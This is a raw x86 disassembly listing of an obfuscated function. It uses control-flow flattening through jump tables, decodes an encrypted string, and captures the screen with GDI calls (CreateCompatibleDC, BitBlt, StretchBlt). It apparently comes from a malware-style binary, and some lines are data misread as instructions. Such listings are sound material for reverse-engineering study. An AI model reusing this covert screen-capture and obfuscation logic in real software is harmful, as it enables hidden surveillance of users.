mov dword [esp + 0x380], ecx
mov eax, dword [esp + 0x384]
mov ecx, dword [esp + 0x380]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x9e2e5189
setl cl
mov dword [esp + 0x210], ecx
mov ecx, dword [esp + 0x214]
mov edx, dword [esp + 0x210]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x58]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_SelectObject]
call eax
sub esp, 8
mov dword [esp + 0x64], eax
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x88]
mov edx, dword [esp + 0x84]
mov edi, dword [esp + 0x54]
mov ebx, dword [esp + 0x5c]
mov ebp, dword [esp + 0x48]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], edi
mov dword [esp], ebp
mov dword [esp + 0x20], 0xcc0020
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [sym.imp.GDI32.dll_BitBlt]
call eax
sub esp, 0x24
mov eax, dword [esp + 0x54]
not eax
mov ecx, dword [esp + 0x5c]
xor ecx, 2
and eax, ecx
sub eax, 0xffffffff
mov eax, 0xf7e251fe
jl 0x43894c
mov eax, 0xbbab0119
mov ecx, dword [esp + 0x2c]
mov dword [ecx], eax
mov eax, dword [esp + 0x198]
mov ecx, dword [esp + 0x19c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x12fc4fb1
sete cl
mov dword [esp + 0x338], ecx
mov eax, dword [esp + 0x33c]
mov ecx, dword [esp + 0x338]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x10b4c653
mov eax, dword [esp + 0x148]
mov ecx, dword [esp + 0x14c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x18d0a9c3
sete cl
mov dword [esp + 0x360], ecx
mov eax, dword [esp + 0x364]
mov ecx, dword [esp + 0x360]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x8319857d
setl cl
mov dword [esp + 0x1f0], ecx
mov ecx, dword [esp + 0x1f4]
mov edx, dword [esp + 0x1f0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x5747da05
setl cl
mov dword [esp + 0x450], ecx
mov ecx, dword [esp + 0x454]
mov edx, dword [esp + 0x450]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xd0d09e77
setl cl
mov dword [esp + 0x2b8], ecx
mov ecx, dword [esp + 0x2bc]
mov edx, dword [esp + 0x2b8]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x48]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteDC]
call eax
sub esp, 4
mov eax, dword [esp + 0x40]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_ReleaseDC]
call eax
sub esp, 8
mov eax, dword [esp + 0x64]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
sub esp, 4
mov eax, dword [esp + 0x58]
lea ecx, [esp + 0x474]
mov dword [esp + 8], ecx
lea ecx, [esp + 0x8c]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00439a30
mov byte [esp + 0x47], al
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x683b0cc3
mov eax, dword [esp + 0x158]
mov ecx, dword [esp + 0x15c]
mov eax, dword [ecx + eax*4]
jmp eax
mov dl, 0xe7
das
test byte [edx - 0x77bbdbbc], 0x44
and al, 0x6c
mov byte [esp + 0x34], 0xcf
mov byte [esp + 0x35], 0xbe
mov byte [esp + 0x36], 0xa8
mov byte [esp + 0x37], 0xba
mov byte [esp + 0x38], 0xb9
mov byte [esp + 0x39], 0xaf
mov byte [esp + 0x3a], 0x10
mov byte [esp + 0x3b], 0x53
mov byte [esp + 0x3c], 0x52
mov byte [esp + 0x3d], 0x4a
mov byte [esp + 0x3e], 0xe6
mov eax, 0xb
mov byte [esp + eax + 0x34], 0
add eax, 1
cmp eax, 0xc
jne 0x438b0a
mov dword [esp + 0x50], 0
mov eax, dword [esp + 0x50]
cmp eax, 0xc
jae 0x438b54
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x50]
movzx ecx, byte [esp + ecx + 0x34]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043c330
mov ecx, dword [esp + 0x50]
mov byte [esp + ecx + 0x34], al
mov eax, dword [esp + 0x50]
inc eax
mov dword [esp + 0x50], eax
jmp 0x438b1f
mov eax, dword [esp + 0x7c]
mov ecx, dword [esp + 0x78]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
lea eax, [esp + 0x34]
mov dword [esp], eax
mov ecx, esi
call fcn.0040da30
sub esp, 0xc
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x856803b2
mov eax, dword [esp + 0xa8]
mov ecx, dword [esp + 0xac]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x9ef1b9fe
setl cl
mov dword [esp + 0x270], ecx
mov ecx, dword [esp + 0x274]
mov edx, dword [esp + 0x270]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xbbab0119
setl cl
mov dword [esp + 0x310], ecx
mov ecx, dword [esp + 0x314]
mov edx, dword [esp + 0x310]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0041d2d0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x4a33bc60
mov eax, dword [esp + 0x1d0]
mov ecx, dword [esp + 0x1d4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d2d0
mov eax, dword [esp + 0x60]
mov dword [esp], eax
call fcn.0040cb70
mov eax, dword [esp + 0x2c]
mov dword [eax], 0xeabd2b1f
mov eax, dword [esp + 0xf8]
mov ecx, dword [esp + 0xfc]
mov eax, dword [ecx + eax*4]
jmp eax
mov ebp, 0x8b4c5e0c
inc esp
and al, 0x2c
mov dword [eax], 0x4a33bc60
mov eax, dword [esp + 0xd8]
mov ecx, dword [esp + 0xdc]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x856803b2
setl cl
mov dword [esp + 0x220], ecx
mov ecx, dword [esp + 0x224]
mov edx, dword [esp + 0x220]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x44abd127
mov eax, dword [esp + 0x1c0]
mov ecx, dword [esp + 0x1c4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x5bb20238
setl cl
mov dword [esp + 0x418], ecx
mov ecx, dword [esp + 0x41c]
mov edx, dword [esp + 0x418]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0041d2d0
mov eax, dword [esp + 0x58]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
sub esp, 4
mov al, byte [esp + 0x45]
and al, 1
mov byte [esp + 0x46], al
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x5747da05
mov eax, dword [esp + 0xe0]
mov ecx, dword [esp + 0xe4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xb1d87c3b
setl cl
mov dword [esp + 0x258], ecx
mov ecx, dword [esp + 0x25c]
mov edx, dword [esp + 0x258]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xeabd2b1f
setl cl
mov dword [esp + 0x308], ecx
mov ecx, dword [esp + 0x30c]
mov edx, dword [esp + 0x308]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x1b75085f
mov eax, dword [esp + 0x1a0]
mov ecx, dword [esp + 0x1a4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x1c58fc6
setl cl
mov dword [esp + 0x2f0], ecx
mov ecx, dword [esp + 0x2f4]
mov edx, dword [esp + 0x2f0]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x2c]
mov dword [eax], 0xc360cc41
mov al, byte [esp + 0x33]
mov byte [esp + 0x32], al
mov eax, dword [esp + 0xf0]
mov ecx, dword [esp + 0xf4]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esp + 0x44]
mov byte [esp + 0x70], al
mov byte [esp + 0x34], 0xcf
mov byte [esp + 0x35], 0xbe
mov byte [esp + 0x36], 0xa8
mov byte [esp + 0x37], 0xba
mov byte [esp + 0x38], 0xb9
mov byte [esp + 0x39], 0xaf
mov byte [esp + 0x3a], 0x10
mov byte [esp + 0x3b], 0x53
mov byte [esp + 0x3c], 0x52
mov byte [esp + 0x3d], 0x4a
mov byte [esp + 0x3e], 0xe6
mov eax, 0xb
mov byte [esp + eax + 0x34], 0
add eax, 1
cmp eax, 0xc
jne 0x438df4
mov dword [esp + 0x4c], 0
mov eax, dword [esp + 0x4c]
cmp eax, 0xc
jae 0x438e3e
mov eax, dword [esp + 0x4c]
mov ecx, dword [esp + 0x4c]
movzx ecx, byte [esp + ecx + 0x34]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043c330
mov ecx, dword [esp + 0x4c]
mov byte [esp + ecx + 0x34], al
mov eax, dword [esp + 0x4c]
inc eax
mov dword [esp + 0x4c], eax
jmp 0x438e09
mov eax, dword [esp + 0x7c]
mov ecx, dword [esp + 0x78]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
lea eax, [esp + 0x34]
mov dword [esp], eax
mov ecx, esi
call fcn.0040da30
sub esp, 0xc
mov byte [esp + 0x33], al
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x14448b2b
mov eax, dword [esp + 0x118]
mov ecx, dword [esp + 0x11c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x18d0a9c3
setl cl
mov dword [esp + 0x3a8], ecx
mov ecx, dword [esp + 0x3ac]
mov edx, dword [esp + 0x3a8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xd2b7d568
sete cl
mov dword [esp + 0x298], ecx
mov eax, dword [esp + 0x29c]
mov ecx, dword [esp + 0x298]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x14448b2b
sete cl
mov dword [esp + 0x340], ecx
mov eax, dword [esp + 0x344]
mov ecx, dword [esp + 0x340]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xe6e68ee5
sete cl
mov dword [esp + 0x2a0], ecx
mov eax, dword [esp + 0x2a4]
mov ecx, dword [esp + 0x2a0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x74]
mov ecx, dword [esp + 0x468]
mov edx, dword [esp + 0x46c]
mov ecx, dword [edx + ecx*4]
jmp ecx
lea eax, [esp + 0x488]
mov dword [esp + 0x80], eax
mov eax, dword [esp + 0x2c]
mov dword [eax], 0xa92a718f
mov eax, dword [esp + 0x1b8]
mov ecx, dword [esp + 0x1bc]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x1c58fc6
sete cl
mov dword [esp + 0x2e8], ecx
mov eax, dword [esp + 0x2ec]
mov ecx, dword [esp + 0x2e8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x2c54695e
sete cl
mov dword [esp + 0x388], ecx
mov eax, dword [esp + 0x38c]
mov ecx, dword [esp + 0x388]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xadf2fad3
setl cl
mov dword [esp + 0x260], ecx
mov ecx, dword [esp + 0x264]
mov edx, dword [esp + 0x260]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x4a33bc60
sete cl
mov dword [esp + 0x3d8], ecx
mov eax, dword [esp + 0x3dc]
mov ecx, dword [esp + 0x3d8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x44abd127
sete cl
mov dword [esp + 0x3d0], ecx
mov eax, dword [esp + 0x3d4]
mov ecx, dword [esp + 0x3d0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x90]
mov ecx, dword [esp + 0x94]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esp + 0x46]
and al, 1
movzx eax, al
add esp, 0x498
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x2bae61e9
mov eax, dword [esp + 0x110]
mov ecx, dword [esp + 0x114]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x81fdc1c2
sete cl
mov dword [esp + 0x1e0], ecx
mov eax, dword [esp + 0x1e4]
mov ecx, dword [esp + 0x1e0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xd0d09e77
sete cl
mov dword [esp + 0x290], ecx
mov eax, dword [esp + 0x294]
mov ecx, dword [esp + 0x290]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xc360cc41
setl cl
mov dword [esp + 0x288], ecx
mov ecx, dword [esp + 0x28c]
mov edx, dword [esp + 0x288]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x1b75085f
setl cl
mov dword [esp + 0x370], ecx
mov ecx, dword [esp + 0x374]
mov edx, dword [esp + 0x370]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0041d2d0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x9e2e5189
mov eax, dword [esp + 0x170]
mov ecx, dword [esp + 0x174]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d2d0
mov eax, dword [esp + 0x474]
mov dword [esp + 0x7c], eax
mov eax, dword [esp + 0x8c]
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x2c]
mov dword [eax], 0xf15a9aae
mov eax, dword [esp + 0x130]
mov ecx, dword [esp + 0x134]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x3502d276
sete cl
mov dword [esp + 0x3b0], ecx
mov eax, dword [esp + 0x3b4]
mov ecx, dword [esp + 0x3b0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x683b0cc3
setl cl
mov dword [esp + 0x448], ecx
mov ecx, dword [esp + 0x44c]
mov edx, dword [esp + 0x448]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xb1d87c3b
sete cl
mov dword [esp + 0x250], ecx
mov eax, dword [esp + 0x254]
mov ecx, dword [esp + 0x250]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xadf2fad3
sete cl
mov dword [esp + 0x248], ecx
mov eax, dword [esp + 0x24c]
mov ecx, dword [esp + 0x248]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x8841167f
setl cl
mov dword [esp + 0x218], ecx
mov ecx, dword [esp + 0x21c]
mov edx, dword [esp + 0x218]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x43ba2414
setl cl
mov dword [esp + 0x3f0], ecx
mov ecx, dword [esp + 0x3f4]
mov edx, dword [esp + 0x3f0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x36852831
setl cl
mov dword [esp + 0x3c0], ecx
mov ecx, dword [esp + 0x3c4]
mov edx, dword [esp + 0x3c0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xa92a718f
sete cl
mov dword [esp + 0x230], ecx
mov eax, dword [esp + 0x234]
mov ecx, dword [esp + 0x230]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xeabd2b1f
sete cl
mov dword [esp + 0x2c0], ecx
mov eax, dword [esp + 0x2c4]
mov ecx, dword [esp + 0x2c0]
mov eax, dword [eax + ecx*4]
jmp eax
push 0x8b7249a1
inc esp
and al, 0x60
mov dword [esp], eax
call fcn.0040cb70
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x5c0c96d
mov eax, dword [esp + 0xa0]
mov ecx, dword [esp + 0xa4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x5c0c96d
setl cl
mov dword [esp + 0x328], ecx
mov ecx, dword [esp + 0x32c]
mov edx, dword [esp + 0x328]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x74a29d64
sete cl
mov dword [esp + 0x430], ecx
mov eax, dword [esp + 0x434]
mov ecx, dword [esp + 0x430]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x683b0cc3
sete cl
mov dword [esp + 0x420], ecx
mov eax, dword [esp + 0x424]
mov ecx, dword [esp + 0x420]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x10b4c653
setl cl
mov dword [esp + 0x358], ecx
mov ecx, dword [esp + 0x35c]
mov edx, dword [esp + 0x358]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0041d2d0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x8319857d
mov eax, dword [esp + 0x150]
mov ecx, dword [esp + 0x154]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xbbab0119
sete cl
mov dword [esp + 0x278], ecx
mov eax, dword [esp + 0x27c]
mov ecx, dword [esp + 0x278]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x43ba2414
sete cl
mov dword [esp + 0x3c8], ecx
mov eax, dword [esp + 0x3cc]
mov ecx, dword [esp + 0x3c8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x2c54695e
setl cl
mov dword [esp + 0x390], ecx
mov ecx, dword [esp + 0x394]
mov edx, dword [esp + 0x390]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x1c58fc6
mov eax, dword [esp + 0x160]
mov ecx, dword [esp + 0x164]
mov eax, dword [ecx + eax*4]
jmp eax
xchg esp, eax
invalid
xor ecx, ecx
sub eax, 0xee7c1b74
sete cl
mov dword [esp + 0x2c8], ecx
mov eax, dword [esp + 0x2cc]
mov ecx, dword [esp + 0x2c8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x88]
mov edx, dword [esp + 0x84]
mov edi, dword [esp + 0x54]
mov ebx, dword [esp + 0x5c]
mov ebp, dword [esp + 0x48]
mov dword [esp + 0x24], edx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], edi
mov dword [esp], ebp
mov dword [esp + 0x28], 0xcc0020
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [sym.imp.GDI32.dll_StretchBlt]
call eax
sub esp, 0x2c
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x3b9c00d
mov eax, dword [esp + 0x190]
mov ecx, dword [esp + 0x194]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xa92a718f
setl cl
mov dword [esp + 0x238], ecx
mov ecx, dword [esp + 0x23c]
mov edx, dword [esp + 0x238]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xd2b7d568
setl cl
mov dword [esp + 0x2b0], ecx
mov ecx, dword [esp + 0x2b4]
mov edx, dword [esp + 0x2b0]
mov ecx, dword [ecx + edx*4]
jmp ecx
fdivr qword gs:[ebx]
mov al, 0x8b
test byte [eax + eax*4], ah
add byte [eax], al
add byte [ebx + 0x24448b38], cl
push 0xa1240489
out 0x44, eax
add bh, bh
rol byte [ebx + 0x448b04ec], 1
and al, 0x40
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_CreateCompatibleDC]
call eax
sub esp, 4
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x54]
mov dword [esp + 8], edi
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
call eax
sub esp, 0xc
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x74a29d64
mov eax, dword [esp + 0xd0]
mov ecx, dword [esp + 0xd4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x3b9c00d
setl cl
mov dword [esp + 0x460], ecx
mov ecx, dword [esp + 0x464]
mov edx, dword [esp + 0x460]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x2544c267
setl cl
mov dword [esp + 0x3a0], ecx
mov ecx, dword [esp + 0x3a4]
mov edx, dword [esp + 0x3a0]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0041d2d0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x8841167f
mov eax, dword [esp + 0x188]
mov ecx, dword [esp + 0x18c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x9e2e5189
sete cl
mov dword [esp + 0x208], ecx
mov eax, dword [esp + 0x20c]
mov ecx, dword [esp + 0x208]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x10b4c653
sete cl
mov dword [esp + 0x330], ecx
mov eax, dword [esp + 0x334]
mov ecx, dword [esp + 0x330]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1d8]
mov ecx, dword [esp + 0x1dc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x8c]
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
test eax, eax
mov eax, 0xc360cc41
je 0x43966d
mov eax, 0xe6e68ee5
mov ecx, dword [esp + 0x2c]
mov dword [ecx], eax
mov al, byte [esp + 0x33]
mov byte [esp + 0x32], al
mov eax, dword [esp + 0x108]
mov ecx, dword [esp + 0x10c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xab11b98b
setl cl
mov dword [esp + 0x268], ecx
mov ecx, dword [esp + 0x26c]
mov edx, dword [esp + 0x268]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x1b75085f
sete cl
mov dword [esp + 0x368], ecx
mov eax, dword [esp + 0x36c]
mov ecx, dword [esp + 0x368]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x9ef1b9fe
sete cl
mov dword [esp + 0x228], ecx
mov eax, dword [esp + 0x22c]
mov ecx, dword [esp + 0x228]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xf7e251fe
sete cl
mov dword [esp + 0x2e0], ecx
mov eax, dword [esp + 0x2e4]
mov ecx, dword [esp + 0x2e0]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [esp + 0x47]
test al, al
mov eax, 0x9ef1b9fe
jne 0x439733
mov eax, 0xc360cc41
mov ecx, dword [esp + 0x2c]
mov dword [ecx], eax
mov byte [esp + 0x32], 0
mov eax, dword [esp + 0x140]
mov ecx, dword [esp + 0x144]
mov eax, dword [ecx + eax*4]
jmp eax
xchg ebx, esi
adc al, 0x9e
mov eax, dword [esp + 0x2c]
mov dword [eax], 0xadf2fad3
mov eax, dword [esp + 0xb0]
mov ecx, dword [esp + 0xb4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x36852831
sete cl
mov dword [esp + 0x3b8], ecx
mov eax, dword [esp + 0x3bc]
mov ecx, dword [esp + 0x3b8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x3b9c00d
sete cl
mov dword [esp + 0x318], ecx
mov eax, dword [esp + 0x31c]
mov ecx, dword [esp + 0x318]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xab11b98b
sete cl
mov dword [esp + 0x240], ecx
mov eax, dword [esp + 0x244]
mov ecx, dword [esp + 0x240]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xf15a9aae
sete cl
mov dword [esp + 0x2d8], ecx
mov eax, dword [esp + 0x2dc]
mov ecx, dword [esp + 0x2d8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x6de9158b
setl cl
mov dword [esp + 0x440], ecx
mov ecx, dword [esp + 0x444]
mov edx, dword [esp + 0x440]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x64f9f7fd
sete cl
mov dword [esp + 0x408], ecx
mov eax, dword [esp + 0x40c]
mov ecx, dword [esp + 0x408]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x5c0c96d
sete cl
mov dword [esp + 0x320], ecx
mov eax, dword [esp + 0x324]
mov ecx, dword [esp + 0x320]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x64]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_SelectObject]
call eax
sub esp, 8
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x2c54695e
mov eax, dword [esp + 0x168]
mov ecx, dword [esp + 0x16c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x44abd127
setl cl
mov dword [esp + 0x3e8], ecx
mov ecx, dword [esp + 0x3ec]
mov edx, dword [esp + 0x3e8]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0041d2d0
mov eax, dword [esp + 0x80]
mov eax, dword [eax]
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x68]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
sub esp, 4
mov eax, dword [esp + 0x40]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_CreateCompatibleDC]
call eax
sub esp, 4
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x54]
mov edx, dword [esp + 0x5c]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
call eax
sub esp, 0xc
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x2c]
mov dword [eax], 0xab11b98b
mov eax, dword [esp + 0x1a8]
mov ecx, dword [esp + 0x1ac]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x6de9158b
sete cl
mov dword [esp + 0x428], ecx
mov eax, dword [esp + 0x42c]
mov ecx, dword [esp + 0x428]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x2544c267
sete cl
mov dword [esp + 0x378], ecx
mov eax, dword [esp + 0x37c]
mov ecx, dword [esp + 0x378]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x5bb20238
sete cl
mov dword [esp + 0x400], ecx
mov eax, dword [esp + 0x404]
mov ecx, dword [esp + 0x400]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0xadf2fad3
mov eax, dword [esp + 0x138]
mov ecx, dword [esp + 0x13c]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esp + 0x32]
mov byte [esp + 0x45], al
call fcn.0041d2d0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x18d0a9c3
mov eax, dword [esp + 0xe8]
mov ecx, dword [esp + 0xec]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x12fc4fb1
setl cl
mov dword [esp + 0x350], ecx
mov ecx, dword [esp + 0x354]
mov edx, dword [esp + 0x350]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x3c356a69
setl cl
mov dword [esp + 0x2bc], ecx
mov ecx, dword [esp + 0x2c0]
mov edx, dword [esp + 0x2bc]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0041d2d0
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xa628f864
mov eax, dword [esp + 0xfc]
mov ecx, dword [esp + 0x100]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x6a98cf76
setl cl
mov dword [esp + 0x33c], ecx
mov ecx, dword [esp + 0x340]
mov edx, dword [esp + 0x33c]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xa628f864
sete cl
mov dword [esp + 0x1ac], ecx
mov eax, dword [esp + 0x1b0]
mov ecx, dword [esp + 0x1ac]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xfaf66b7
mov dword [esp + 0x4c], 0
mov eax, dword [esp + 0x134]
